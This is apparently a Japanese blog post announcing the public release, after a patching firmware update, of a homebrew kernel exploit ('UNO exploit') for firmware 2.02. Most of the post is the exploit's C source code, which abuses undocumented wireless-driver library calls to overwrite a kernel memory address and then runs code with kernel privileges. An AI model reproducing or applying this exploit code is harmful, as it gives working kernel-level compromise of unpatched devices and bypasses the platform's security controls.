2.02 kxploit + UNO CEFのソースコード公開

ツイッターで、Frostegater氏が、UNO exploitのソースコードを公開していました。

UNO exploit対策のシステムソフトウェア バージョン2.05が公開されたことからもはや隠しておく必要がなくなったので事前に告知していた通りFrostegater氏がUNO exploitのソースコードを公開しました。公開したのはカーネルexploit(kxploit)とCEFのソースコードです。

2.02 kxploit

int sceWlanDrv_lib_B5E7B187(void);
int sceWlanDrv_lib_51B0BBB8(u32, u32, u32, u32);

// Code with krights
int kernel_function()
{
// Repair sysmem
// why did it broke too much of memory?
_sw(0x0A003DBE, 0x8800F710); // j loc_0800F6F8 (2.02 value)
_sw(0x0200D821, 0x8800F714); // move $k1, $s0
_sw(0x3C038801, 0x8800F718); // lui $v1, 0x8801
_sw(0x8C654384, 0x8800F71C); // lw $a1, 0x4384($v1)

//-------
// What the fuck are you doing in the kernel memory?! :D
//-------

return 0;
}

// Loading required modules (Net modules)
u32 i;
for(i = 1; i <= 6; i++) sceUtilityLoadModule(i + 0xFF);

// Set 0 to global variable. Just kicking global variable checking in the next function.
sceWlanDrv_lib_B5E7B187();
// Overwrite 0x8800F71C address (sceKernelLibcTime local argument setting).
sceWlanDrv_lib_51B0BBB8(0, 0, 0, 0x8800F71C);

// Flush data cache
sceKernelDcacheWritebackAll();

// Exec kernel function with vfpu enabled, thx to liquid
int execute_with_vfpu_enabled(){ sceKernelLibcTime(0, (void *)((u32)kernel_function | 0x80000000)); return 0; }
SceUID thid = sceKernelCreateThread("VFPU", &execute_with_vfpu_enabled, 0x18, 0x1000, PSP_THREAD_ATTR_USER | PSP_THREAD_ATTR_VFPU , NULL);
sceKernelStartThread(thid, 0, NULL);
sceKernelWaitThreadEnd(thid, NULL);

2.02 CEF

kxploitは無線LAN関連のドライバの脆弱性をついたもの、かな?

シェアする

  • このエントリーをはてなブックマークに追加

フォローする